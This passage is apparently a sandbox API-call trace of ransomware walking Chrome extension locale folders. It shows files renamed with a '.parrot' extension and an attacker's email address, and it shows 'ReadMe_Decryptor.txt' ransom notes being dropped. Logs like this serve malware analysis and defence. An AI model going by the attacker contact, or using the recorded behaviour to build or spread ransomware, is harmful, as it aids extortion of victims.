lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.974] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.974] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.975] CloseHandle (hObject=0x274) returned 1 [0096.975] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2456fc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb247d120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.975] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.975] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.975] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.976] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.976] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.976] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb293fd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb293fd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.976] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.976] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.976] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb28f3a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.976] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.976] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.977] CloseHandle (hObject=0x274) returned 1 [0096.977] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb293fd20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb293fd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2ae2c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.977] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.977] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb293fd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb293fd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.977] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb28f3a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.977] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.977] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.977] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2cd1e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2cd1e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.977] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.977] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.977] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2b08da0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.978] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.978] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.978] CloseHandle (hObject=0x274) returned 1 [0096.978] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2cd1e20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2cd1e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2cf7f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.979] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.979] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2cd1e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2cd1e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.979] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2b08da0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.979] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.979] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.979] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d1e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2d1e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.979] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.979] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.979] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2d1e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.979] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.979] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.980] CloseHandle (hObject=0x274) returned 1 [0096.980] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2d1e0e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2d1e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2e74d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.980] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.980] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d1e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2d1e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.980] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2d1e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.980] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.981] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.981] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2fa5840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2fa5840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.981] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.981] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.981] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2e74d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.981] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.981] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.982] CloseHandle (hObject=0x274) returned 1 [0096.982] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2fa5840, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2fa5840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2fcb9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.982] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.982] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2fa5840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2fa5840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.982] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb2e74d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.982] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.982] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.982] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3279260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3279260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.982] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.982] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.982] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb30fc4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.982] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.983] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.983] CloseHandle (hObject=0x274) returned 1 [0096.983] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3279260, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb3279260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb329f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.983] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.983] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3279260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3279260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.984] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb30fc4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.984] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.984] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb32c5520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32c5520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.984] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.984] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.984] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb329f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.984] SetFilePointerEx (in: 